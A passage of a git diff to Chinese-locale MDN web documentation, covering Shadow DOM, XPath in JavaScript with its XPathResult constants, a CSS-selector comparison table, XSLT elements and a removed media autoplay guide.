-      var shadow = document.querySelector('#hostElement').attachShadow({mode: 'open'});
-    </script>
-  </body>
-</html>
- -

上例中给一个没有内容的 <p> 元素添加了影子DOM。显示没有变化。接下来,同样在上例中加入下列代码,可以在影子DOM中插入文字,并将在浏览器中显示:

- -
shadow.innerHTML = '<p>Here is some new text</p>';
- -

Shadow DOM 样式化

- -

<style> 元素可用来给影子DOM添加样式。 同样是上例,下列代码会将影子DOM中的文字变为红色:

- -
<script>
-  // 创建 shadow DOM
-  var shadow = document.querySelector('#hostElement').attachShadow({mode: 'open'});
-  // 给 shadow DOM 添加文字
-  shadow.innerHTML = '<p>Here is some new text</p>';
-  // 添加CSS,将文字变红
-  shadow.innerHTML += '<style>p { color: red; }</style>';
-</script>
-
- -

Shadow DOM 的组成部分:

- -

影子DOM由下列部分组成:

- -
    -
  • {{domxref("Element.attachShadow()")}}
  • -
  • {{domxref("Element.getDestinationInsertionPoints()")}}
  • -
  • {{domxref("Element.shadowRoot")}}
  • -
  • <content> 元素
  • -
  • <shadow> 元素
  • -
  • 这些元素已从规范中移除: <content>, <element> 和<decorator>
  • -
  • 相关API接口:{{domxref("ShadowRoot")}}, {{domxref("HTMLTemplateElement")}} and {{domxref("HTMLSlotElement")}}
  • -
  • CSS 选择器: -
      -
    • 伪类:{{cssxref(":host")}}, {{cssxref(":host()")}}, {{cssxref(":host-context()")}}
    • -
    • 伪元素:{{cssxref("::shadow")}} and {{cssxref("::content")}}
    • -
    • 组合器:>>> (formerly /deep/)*
    • -
    -
  • -
- -

* 将来子组合器有可能被弃用

- -

Interfaces

- -

{{domxref("ShadowRoot")}}

- -

DOM子树的根节点,和文档的主要DOM树分开渲染。

- -

{{domxref("HTMLTemplateElement")}}

- -

允许访问HTML元素的内容。

- -

{{domxref("HTMLSlotElement")}}

- -

定义一个槽的位置。

- -

{{domxref("DocumentOrShadowRoot")}}

- -

提供在文档和 Shadow 树之间共享的API。

diff --git a/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html new file mode 100644 index 0000000000..c196e077e6 --- /dev/null +++ b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html @@ -0,0 +1,43 @@ +--- +title: Comparison of CSS Selectors and XPath +slug: Web/CSS/CSS_Selectors/Comparison_with_XPath +translation_of: Web/XPath/Comparison_with_CSS_selectors +--- +
{{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/en-US/docs/Web/XPath")}}{{Draft}}
+ +

本文旨在记录CSS选择器和XPath之间的区别,以便Web开发人员能够更好地为正确的工作选择合适的工具。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
XPath featureCSS equivalent
ancestor, parent or preceding-sibling axis{{CSSxRef(":has",":has()")}} selector {{experimental_inline}}
attribute axisAttribute selectors
child axisChild combinator
descendant axisDescendant combinator
following-sibling axisGeneral sibling combinator or adjacent sibling combinator
self axis{{CSSxRef(":scope")}} or {{CSSxRef(":host")}} selector
diff --git a/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html new file mode 100644 index 0000000000..cc4b806fa6 --- /dev/null +++ b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -0,0 +1,436 @@ +--- +title: Introduction to using XPath in JavaScript +slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript +tags: + - DOM + - Extensions + - Transforming_XML_with_XSLT + - Web Development + - XPath +translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +--- +

该篇文档描述了如何在扩展和网站内部通过JavaScript调用 XPath 接口。 Mozilla 实现了相当多的 DOM 3 XPath,意味着 Xpath 表达式已经可以在 HTML 和 XML 文档中使用。

+ +

使用 XPath 的主要接口是 document 对象的 evaluate 方法。

+ +

document.evaluate

+ +

此方法针对基于 XML 的文档(包括 HTML 文档)评估 XPath 表达式,并返回 XPathResult 对象,该对象可以是单个节点或一组节点。这个方法的现有文档位于 document.evaluate,但是对于我们现在的需求来说它相当稀疏;下面将给出更全面的研究。

+ +
var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
+
+ +

参数

+ +

evaluate 函数共有五个参数:

+ +
    +
  • +

    xpathExpression:包含要评估的 XPath 表达式的字符串.

    +
  • +
  • +

    contextNode:应评估 xpathExpression 的文档中的节点,包括其任何和所有子节点。document 节点是最常用的。

    +
  • +
  • +

    namespaceResolver:将传递包含在 xpathExpression 中的任何命名空间前缀的函数,它返回一个表示与该前缀关联的命名空间 URI 的字符串。这使得能够在 XPath 表达式中使用的前缀和文档中使用的可能不同的前缀之间进行转换。该转换函数可以是:

    + +
      +
    • +

      使用 XPathEvaluator 对象的 createNSResolver 方法创建

      +
    • +
    • +

      null。其可以用于 HTML 文档或者当不使用命名空间前缀时。注意,如果 xpathExpression 包含命名空间前缀,这将导致一个带有 NAMESPACE_ERR 的 DOMException 抛出。

      +
    • +
    • +

      用户定义的函数。有关详细信息,请参阅附录中的 使用一个用户定义的命名空间解析器 部分。

      +
    • +
    +
  • +
  • +

    resultType:指定作为评估结果返回的所需结果类型的常数。最常传递的常量是 XPathResult.ANY_TYPE,它将返回 XPath 表达式的结果作为最自然的类型。附录中有一个部分,其中包含可用常数的完整列表。它们在下面“指定返回类型”部分中进行解释。

    +
  • +
  • +

    result:如果指定了现有的 XPathResult 对象,它将被重用以返回结果。指定 null 将创建一个新的 XPathResult 对象。

    +
  • +
+ +

返回值

+ +

返回 xpathResult,它是 resultType 参数中指定的类型的 XPathResult 对象。XPathResult 在这里定义。

+ +

实现默认的命名空间解析器

+ +

我们使用 document 对象的 createNSResolver 方法创建一个命名空间解析器。

+ +
var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
+
+ +

Or alternatively by using the <code>createNSResolver</code> method of a <code>XPathEvaluator</code> object. <pre> var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </pre>

+ +

然后传递 document.evaluate,将 nsResolver 变量作为 namespaceResolver 参数。

+ +

注意:XPath 定义不带前缀的 QNames,以仅匹配 null 命名空间中的元素。XPath 没有办法选择应用于常规元素引用的默认命名空间(例如,p[@id='_myid'] 对应于 xmlns='http://www.w3.org/1999/xhtml')。要匹配非命名空间中的默认元素,您必须使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_id']这种方法适用于命名空间未知的动态 XPath),或者使用前缀名测试,并创建一个命名空间解析器将前缀映射到命名空间。如果你想采取后一种方法,阅读更多关于如何创建一个用户定义的命名空间解析器

+ +

注意

+ +

适应任何 DOM 节点以解析命名空间,以便可以相对于文档中出现的节点的上下文轻松地评估 XPath 表达式。此适配器的工作方式类似于 DOM 级别 3 方法 lookupNamespaceURI 在解析 namespaceuRI 时节点的层次结构中的可用的当前信息的节点。也正确解析了隐式 xml 前缀。

+ +

指定返回类型

+ +

document.evaluate 返回的变量 xpathResult 可以由单个节点(简单类型)或节点集合(节点集类型)组成。

+ +

简单类型

+ +

resultType 中的所需结果类型指定为:

+ +
    +
  • NUMBER_TYPE - a double
  • +
  • STRING_TYPE - a string
  • +
  • BOOLEAN_TYPE - a boolean
  • +
+ +

我们通过分别访问 XPathResult 对象的以下属性来获取表达式的返回值。

+ +
    +
  • numberValue
  • +
  • stringValue
  • +
  • booleanValue
  • +
+ +
示例
+ +

以下使用 XPath 表达式 count(//p) 来获取 HTML 文档中的 <p> 元素数:

+ +
var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.numberValue + ' paragraph elements' );
+
+ +

虽然 JavaScript 允许我们将数字转换为一个字符串进行显示,但 XPath 接口不会自动转换数字结果,如果 stringValue 属性被请求,所以下面的代码将工作:

+ +
var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elements' );
+
+ +

相反,它将返回一个带有 NS_DOM_TYPE_ERROR 的异常。

+ +

节点集类型

+ +

XPathResult 对象允许以 3 种主要不同类型返回节点集:

+ + + +
Iterators
+ +

resultType 参数中的指定结果类型为:

+ +
    +
  • UNORDERED_NODE_ITERATOR_TYPE
  • +
  • ORDERED_NODE_ITERATOR_TYPE
  • +
+ +

返回的 XPathResult 对象是一个匹配节点的节点集,它将作为迭代器,允许我们使用 XPathResultiterateNext() 方法访问包含的各个节点。

+ +

一旦迭代完成所有的匹配节点,iterateNext() 将返回 null

+ +

但请注意,如果在迭代过程中,文档发生突变(文档树被修改),将使迭代无效,并且 XPathResultinvalidIteratorState 属性设置为 true,抛出 NS_ERROR_DOM_INVALID_STATE_ERR 异常。

+ +
Iterator Example
+ +
var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+
+try {
+  var thisNode = iterator.iterateNext();
+
+  while (thisNode) {
+    alert( thisNode.textContent );
+    thisNode = iterator.iterateNext();
+  }
+}
+catch (e) {
+  dump( 'Error: Document tree modified during iteration ' + e );
+}
+
+ +
Snapshots
+ +

resultType 参数中的指定结果类型为:

+ +
    +
  • UNORDERED_NODE_SNAPSHOT_TYPE
  • +
  • ORDERED_NODE_SNAPSHOT_TYPE
  • +
+ +

返回的 XPathResult 对象是一个匹配节点的静态节点集,这允许我们通过 XPathResult 对象的 snapshotItem(itemNumber) 方法访问每个节点,其中 itemNumber 是要检索的节点的索引。包含的节点总数可以通过 snapshotLength 属性访问。

+ +

快照不随文档突变而改变,因此与迭代器不同,快照不会变得无效,但是它可能不对应于当前文档,例如节点可能已被移动,它可能包含不再存在的节点,或新节点可能已添加。

+ +
Snapshot Example
+ +
var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
+
+for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ )
+{
+  dump( nodesSnapshot.snapshotItem(i).textContent );
+}
+
+ +
First Node
+ +

resultType 参数中的指定结果类型为:

+ +
    +
  • ANY_UNORDERED_NODE_TYPE
  • +
  • FIRST_ORDERED_NODE_TYPE
  • +
+ +

返回的 XPathResult 对象只是匹配 XPath 表达式的第一个找到的节点。这可以通过 XPathResult 对象的 singleNodeValue 属性访问。如果节点集为空,这将为 null

+ +

请注意,对于无序子类型,返回的单个节点可能不是文档顺序中的第一个,但是对于有序子类型,保证以文档顺序获取第一个匹配的节点。

+ +
First Node Example
+ +
var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
+
+dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
+
+ +

ANY_TYPE 常量

+ +

resultType 参数中的结果类型指定为 ANY_TYPE 时,返回的 XPathResult 对象将是由表达式求值自然产生的任何类型。

+ +

它可以是任何简单类型(NUMBER_TYPESTRING_TYPEBOOLEAN_TYPE ),如果返回的结果类型是节点集,那么它将是一个 UNORDERED_NODE_ITERATOR_TYPE

+ +

要在评估后确定类型,我们使用 XPathResult 对象的 resultType 属性。此属性的常量值在附录中定义。 None Yet =====Any_Type Example===== <pre> </pre>

+ +

示例

+ +

在 HTML 文档中

+ +

以下代码旨在放置在要针对其评估 XPath 表达式的 HTML 文档中内嵌或外链的任何 JavaScript 片段中。

+ +

要使用 XPath 提取 HTML 文档中的所有 <h2> 标题元素,xpathExpression 只是 //h2。其中,// 是递归下降运算符,在文档树中的任何位置将元素与 nodeName h2 相匹配。这个的完整代码是: link to introductory xpath doc

+ +
var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
+
+ +

请注意,由于 HTML 没有命名空间,因此我们为 namespaceResolver 参数传递了 null

+ +

因为希望在整个文档中搜索标题,所以我们使用 document 对象本身作为 contextNode

+ +

此表达式的结果是 XPathResult 对象。如果想知道返回的结果的类型,我们可以评估返回的对象的 resultType 属性。在这种情况下,这将评估为 4,即 UNORDERED_NODE_ITERATOR_TYPE。这是 XPath 表达式的结果是节点集时的默认返回类型。它一次提供对单个节点的访问,并且可能不以特定顺序返回节点。要访问返回的节点,我们使用返回对象的 iterateNext() 方法:

+ +
var thisHeading = headings.iterateNext();
+
+var alertText = 'Level 2 headings in this document are:\n'
+
+while (thisHeading) {
+  alertText += thisHeading.textContent + '\n';
+  thisHeading = headings.iterateNext();
+}
+
+ +

一旦迭代到一个节点,我们就可以访问该节点上的所有标准 DOM 接口。在遍历从表达式返回的所有 h2 元素之后,对 iterateNext() 的任何进一步调用都将返回 null 。

+ +

针对扩展中的 XML 文档进行评估

+ +

以下使用位于 chrome://yourextension/content/peopleDB.xml 的 XML 文档作为示例。

+ +
<?xml version="1.0"?>
+<people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
+  <person>
+  <name first="george" last="bush" />
+  <address street="1600 pennsylvania avenue" city="washington" country="usa"/>
+  <phoneNumber>202-456-1111</phoneNumber>
+  </person>
+  <person>
+  <name first="tony" last="blair" />
+  <address street="10 downing street" city="london" country="uk"/>
+  <phoneNumber>020 7925 0918</phoneNumber>
+  </person>
+</people>
+
+ +

为了使 XML 文档的内容在扩展中可用,我们创建一个 XMLHttpRequest 对象以同步加载文档,变量 xmlDoc 将包含该文档作为 XMLDocument 对象,我们可以使用 evaluate 方法。

+ +

JavaScript用于扩展 xul/js 文档。

+ +
var req = new XMLHttpRequest();
+
+req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
+req.send(null);
+
+var xmlDoc = req.responseXML;
+
+var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
+
+var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

注意

+ +

当未定义 XPathResult 对象时,可以使用 Components.interfaces.nsIDOMXPathResult.ANY_TYPE (CI.nsIDOMXPathResult) 在特权代码中检索常量。类似地,可以使用以下创建 XPathEvaluator:

+ +
Components.classes["@mozilla.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)
+ +

附录

+ +

实现用户定义的命名空间解析器

+ +

这只是一个例子。此函数将需要从 xpathExpression 获取命名空间前缀,并返回与该前缀对应的 URI。例如,表达式:

+ +
'//xhtml:td/mathml:math'
+
+ +

将选择作为 (X)HTML 表数据单元元素的子项的所有 MathML 表达式。

+ +

为了将使用命名空间 URI http://www.w3.org/1998/Math/MathMLmathml: 前缀和使用 URI http://www.w3.org/1999/xhtmlxhtml: 关联,我们提供了一个函数:

+ +
function nsResolver(prefix) {
+  var ns = {
+    'xhtml' : 'http://www.w3.org/1999/xhtml',
+    'mathml': 'http://www.w3.org/1998/Math/MathML'
+  };
+  return ns[prefix] || null;
+}
+
+ +

我们对 document.evaluate 的调用将如下所示:

+ +
document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

为 XML 文档实现默认命名空间

+ +

如前面实现默认命名空间解析器中所述,默认解析器不处理 XML 文档的默认命名空间。 例如使用本文档:

+ +
<?xml version="1.0" encoding="UTF-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+    <entry />
+    <entry />
+    <entry />
+</feed>
+
+ +

doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null) 将返回一个空集,其中 nsResolver 是 createNSResolver 返回的解析器。传递一个 null 解析器再好不过了。

+ +

一种可能的解决方法是创建一个自定义解析器,返回正确的默认命名空间(本例中为 Atom 命名空间)。请注意,您仍然必须在 XPath 表达式中使用一些命名空间前缀,以便解析器函数能够将其更改为所需的命名空间。例如:

+ +
function resolver() {
+    return 'http://www.w3.org/2005/Atom';
+}
+doc.evaluate('//myns:entry', doc, resolver, XPathResult.ANY_TYPE, null)
+
+ +

请注意,如果文档使用多个命名空间,则需要更复杂的解析器。

+ +

下一节将介绍一种可能更好的方法(并允许不提前知道命名空间)。

+ +

使用XPath函数引用具有默认命名空间的元素

+ +

另一种匹配非空命名空间中的默认的元素的方法(以及对于动态 XPath 表达式很有效,其中命名空间可能未知),涉及使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_myid']。这避免了 XPath 查询无法检测到定期标记的元素上的默认命名空间的问题。

+ +

获取特定的命名空间元素和属性,而不考虑前缀

+ +

如果希望在命名空间(像预期的那样)中提供灵活性,当发现命名空间元素或属性时不一定需要使用特定的前缀,必须使用特殊技术。

+ +

虽然可以修改上述部分中的方法来测试命名空间元素,而不管选择的前缀(使用 local-name() 结合 namespace-uri() 而不是 name()),但是会发生更具挑战性的情况,如果希望在谓词中获取具有特定命名空间属性的元素(假设在 XPath 1.0 中没有与实现无关的变量)。

+ +

例如,可能尝试(不正确地)使用 namespaced 属性获取元素,如下所示: var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='http://www.w3.org/1999/xlink'];

+ +

这可能会无意中抓取一些元素,如果它的一个属性存在,本地名称为 href,但它是一个不同的属性,有目标(XLink)命名空间(而不是 @href)。

+ +

为了使用 XLink @href 属性(而不仅限于命名空间解析器中的预定义前缀)精确地抓取元素,可以按如下方式获取它们:

+ +
var xpathEls = 'someElements[@*[local-name() = "href" and namespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Grabs elements with any single attribute that has both the local name 'href' and the XLink namespace
+var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
+var thisitemEl = thislevel.iterateNext();
+
+ +

XPathResult 定义的常量

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
结果类型定义的常数描述
ANY_TYPE0包含任何类型的结果集,从表达式的评估中自然地产生。注意,如果结果是节点集,则 UNORDERED_NODE_ITERATOR_TYPE 始终是结果类型。
NUMBER_TYPE1包含单个数字的结果。这非常有用,例如,在 XPath 表达式中使用 count() 函数。
STRING_TYPE2包含单个字符串的结果。
BOOLEAN_TYPE3包含单个布尔值的结果。这非常有用,例如,在 XPath 表达式中使用 not() 函数。
UNORDERED_NODE_ITERATOR_TYPE4包含与表达式匹配的所有节点的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_ITERATOR_TYPE5包含与表达式匹配的所有节点的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
UNORDERED_NODE_SNAPSHOT_TYPE6包含与表达式匹配的所有节点的快照的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_SNAPSHOT_TYPE7包含与表达式匹配的所有节点的快照的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
ANY_UNORDERED_NODE_TYPE8包含与表达式匹配的任何单个节点的结果节点集。该节点不一定是文档中与表达式匹配的第一个节点。
FIRST_ORDERED_NODE_TYPE9包含文档中与表达式匹配的第一个节点的结果节点集。
+ +

参见

+ + + +
+

Original Document Information

+ +
    +
  • Based Upon Original Document Mozilla XPath Tutorial
  • +
  • Original Source Author: James Graham.
  • +
  • Other Contributors: James Thompson.
  • +
  • Last Updated Date: 2006-3-25.
  • +
+
+ +

 

diff --git a/files/zh-cn/web/xslt/element/index.html b/files/zh-cn/web/xslt/element/index.html new file mode 100644 index 0000000000..ecc12b2d6e --- /dev/null +++ b/files/zh-cn/web/xslt/element/index.html @@ -0,0 +1,53 @@ +--- +title: Elements +slug: Web/XSLT/Elements +tags: + - XSLT_Reference +translation_of: Web/XSLT/Element +--- +

{{ XsltRef() }} There are two types of elements discussed here: top-level elements and instructions. A top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>. An instruction, on the other hand, is associated with a template. A stylesheet may include several templates. A third type of element, not discussed here, is the literal result element (LRE). An LRE also appears in a template. It consists of any non-instruction element that should be copied as-is to the result document, for example, an <hr> element in an HTML conversion stylesheet.

+

On a related note, any attribute in an LRE and some attributes of a limited number of XSLT elements can also include what is known as an attribute value template. An attribute value template is simply a string that includes an embedded XPath expression which is used to specify the value of an attribute. At run-time the expression is evaluated and the result of the evaluation is substituted for the XPath expression. For example, assume that a variable "image-dir" is defined as follows:

+
<xsl:variable name="image-dir">/images</xsl:variable>
+

The expression to be evaluated is placed inside curly brackets:

+
<img src="{$image-dir}/mygraphic.jpg"/>
+

This would result in the following:

+
<img src="/images/mygraphic.jpg"/>
+

The element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the W3C Recommendation and an explanation of the degree of present Gecko support.

+ +

{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }}

diff --git a/files/zh-cn/web/xslt/elements/index.html b/files/zh-cn/web/xslt/elements/index.html deleted file mode 100644 index ecc12b2d6e..0000000000 --- a/files/zh-cn/web/xslt/elements/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Elements -slug: Web/XSLT/Elements -tags: - - XSLT_Reference -translation_of: Web/XSLT/Element ---- -

{{ XsltRef() }} There are two types of elements discussed here: top-level elements and instructions. A top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>. An instruction, on the other hand, is associated with a template. A stylesheet may include several templates. A third type of element, not discussed here, is the literal result element (LRE). An LRE also appears in a template. It consists of any non-instruction element that should be copied as-is to the result document, for example, an <hr> element in an HTML conversion stylesheet.

-

On a related note, any attribute in an LRE and some attributes of a limited number of XSLT elements can also include what is known as an attribute value template. An attribute value template is simply a string that includes an embedded XPath expression which is used to specify the value of an attribute. At run-time the expression is evaluated and the result of the evaluation is substituted for the XPath expression. For example, assume that a variable "image-dir" is defined as follows:

-
<xsl:variable name="image-dir">/images</xsl:variable>
-

The expression to be evaluated is placed inside curly brackets:

-
<img src="{$image-dir}/mygraphic.jpg"/>
-

This would result in the following:

-
<img src="/images/mygraphic.jpg"/>
-

The element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the W3C Recommendation and an explanation of the degree of present Gecko support.

- -

{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }}

diff --git "a/files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" "b/files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" deleted file mode 100644 index db2ac88dc0..0000000000 --- "a/files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: Autoplay guide for media and Web Audio APIs -slug: Web/媒体/Autoplay_guide -translation_of: Web/Media/Autoplay_guide ---- -

Automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. While autoplay of media serves a useful purpose, it should be used carefully and only when needed. In order to give users control over this, browsers often provide various forms of autoplay blocking. In this guide, we'll cover autoplay functionality in the various media and Web Audio APIs, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.

- -

Autoplay blocking is not applied to {{HTMLElement("video")}} elements when the source media does not have an audio track, or if the audio track is muted. Media with an active audio track are considered to be audible, and autoplay blocking applies to them. Inaudible media are not affected by autoplay blocking.

- -

自动播放 和 自动播放暂停

- -

The term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. This includes both the use of HTML attributes to autoplay media as well as the user of JavaScript code to start playback outside the context of handling user input.

- -

That means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy:

- -
<audio src="/music.mp4" autoplay>
- -

- -
audioElement.play();
-
- -

以下网络功能和API可能会受到自动播放阻止的影响:

- -
    -
  • The {{Glossary("HTML")}} {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements
  • -
  • The Web Audio API
  • -
- -

从用户的角度来看,网页或应用程序自动地发出噪音而没有警告可能会令人讨厌、不便或令人反感。因此,浏览器通常仅允许在特定情况下进行自动播放。

- -

Autoplay功能

- -

据新政策,媒体内容将在满足以下至少一个的条件下自动播放:

- -
    -
  • 音频被静音或其音量设置为0
  • -
  • 用户和网页已有交互行为(包括点击、触摸、按下某个键等等)
  • -
  • 网站已被列入白名单;如果浏览器确定用户经常与媒体互动,这可能会自动发生,也可能通过首选项或其他用户界面功能手动发生
  • -
  • 自动播放策略应用到{{HTMLElement("iframe")}}或者其文档上
  • -
- -

否则,播放可能会被阻止。导致播放被阻塞的确切情况以及将网站列入白名单的具体方法因浏览器而异,但最好是遵循以上的原则。

- -

详情,请参阅 Google Chrome 和 WebKit 的自动播放政策。

- -
-

注意: 换句话说,如果在尚无任何用户交互的页面中通过编程方式启动播放,则通常会阻止任何包含音频在内的媒体的播放。

-
- -

能自动播放的媒体元素

- -

既然我们已经介绍了什么是自动播放以及什么可以阻止自动播放,接下来我们将介绍您的网站或应用程序如何在页面加载时自动播放媒体,如何检测何时自动播放失败,以及当自动播放被浏览器拒绝时的应对技巧。

- -

autoplay 属性

- -

想让内容自动播放的最简单方法是将{{htmlattrxref("autoplay", "audio")}}属性添加到{{HTMLElement("audio")}}或{{HTMLElement("video")}}元素。并将{{domxref("HTMLMediaElement.autoplay", "autoplay")}}属性设置为 true ,当 autoplay 的属性为 true 时,媒体元素将在发生以下情况后尽快自动开始播放:

- -
    -
  • -

    页面允许使用自动播放功能

    -
  • -
  • 媒体元素已在页面加载期间创建
  • -
  • 假设网络性能或带宽没有显着变化,且已收到足够的媒体流并已开始播放,继续播放直至媒体结束而不会中断。
  • -
- -

例子1: autoplay属性

- -

使用 autoplay 属性的{{HTMLElement("audio")}}元素就像如下:

- -
<audio id="musicplayer" autoplay>
-  <source src="/music/chapter1.mp4"
-</audio>
-
- -

例子2:检测自动播放失败

- -

如果你依靠自动播放功能去做一些重要的事情,或者自动播放失败会以任何方式影响你的应用程序,那你可能会想知道自动播放什么时候没有开始。不幸的是,对于{{htmlattrxref("autoplay", "audio")}}属性,识别自动播放是否成功开始是很棘手的。自动播放失败时不会触发任何事件。也没有抛出异常或可以设置回调,甚至在媒体元素上都没有标记来告诉你自动播放是否起作用。你实际能做的就是检查一些值,然后根据这些值猜测自动播放是否起作用。

- -

如果您能够调整查看内容的方向,那么更好的方法是,依靠知道媒体播放已成功开始,而不是在媒体启动失败时知道。您可以通过侦听要在媒体元素上触发的{{event("play")}}事件来轻松实现此目的。

- -

The play event is sent both when the media is resumed after being paused and when autoplay occurs. That means that the first time the play event is fired, you know your media is being started for the first time after the page is opened.

- -

Consider this HTML for a media element:

- -
<video src="myvideo.mp4" autoplay onplay=handleFirstPlay(event)">
- -

Here we have a {{HTMLElement("video")}} element whose {{htmlattrxref("autoplay", "video")}} attribute is set, with an {{domxref("HTMLMediaElement.onplay", "onplay")}} event handler set up; the event is handled by a function called handleFirstPlay(), which receives as input the play event.

- -

handleFirstPlay() looks like this:

- -
function handleFirstPlay(event) {
-  let vid = event.target;
-
-  vid.onplay = null;
-
-  // Start whatever you need to do after playback has started
-}
- -

After getting a reference to the video element from the {{domxref("Event")}} object's {{domxref("Event.target", "target")}}, the element's onplay handler is set to null. This will prevent any future play events from being delivered to the handler. That could happen if the video is paused and resumed by the user or automatically by the browser when the document is in a background tab.

- -

At this point, your site or app can begin whatever it needs to do that relies upon the video having been started up.

- -
-

Note: This approach doesn't differentiate between autoplay and the user starting playback manually.

-
- -

The play() method

- -

The term "autoplay" also refers to scenarios in which a script tries to trigger the playback of media that includes audio, outside the context of handling a user input event. This is done by calling the media element's {{domxref("HTMLMediaElement.play", "play()")}} method.

- -
-

Note: It is strongly recommended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatically. It also lets the browser take responsibility for starting playback, letting it optimize the timing of that taking place.

-
- -

Example: Playing video

- -

This simple example plays the first {{HTMLElement("video")}} element found in the document. play() won't let the playback begin unless the document has permission to automatically play media.

- -
document.querySelector("video").play();
- -

Example: Handling play() failures

- -

It's much easier to detect a failure to autoplay media when you use the {{domxref("HTMLMediaElement.play", "play()")}} method to start it. play() returns a {{jsxref("Promise")}} which is resolved once the media successfully begins to play, and is rejected when playback fails to begin (such as if autoplay is denied). When autoplay fails, you likely will want to offer a way for the user to manually tell the browser to ask the user to grant permission to play media.

- -

You might use code like this to accomplish the job:

- -
let startPlayPromise = videoElem.play();
-
-if (startPlayPromise !== undefined) {
-  startPlayPromise.catch(error => {
-    if (error.name === "NotAllowedError") {
-      showPlayButton(videoElem);
-    } else {
-      // Handle a load or playback error
-    }
-  }).then(() => {
-    // Start whatever you need to do only after playback
-    // has begun.
-  });
-}
-
- -

The first thing we do with the result of play() is make sure it's not undefined. We check for this because in earlier versions of the HTML specification, play() didn't return a value. Returning a promise to allow you to determine success or failure of the operation was added more recently. Checking for undefined prevents this code from failing with an error on older versions of web browsers.

- -

We then add a {{jsxref("Promise.catch", "catch()")}} handler to the promise. This looks at the error's {{domxref("DOMException.name", "name")}} to see if it's NotAllowedError. This indicates that playback failed due to a permission issue, such as autoplay being denied. If that's the case, we should present a user interface to let the user manually start playback; that's handled here by a function showPlayButton().

- -

Any other errors are handled as appropriate.

- -

If the promise returned by play() is resolved without error, the then() clause is run and can begin whatever needs to be done when autoplay has begun.

- -

Autoplay using the Web Audio API

- -

In the Web Audio API, a web site or app can start playing audio using the start() method on a source node linked to the {{domxref("AudioContext")}}. Doing so outside the context of handling a user input event is subject to autoplay rules.

- -

More content will come soon; autoplay blocking is still being worked on at Mozilla. If others have it already, they are welcome to pitch in with this section...

- -

The autoplay feature policy

- -

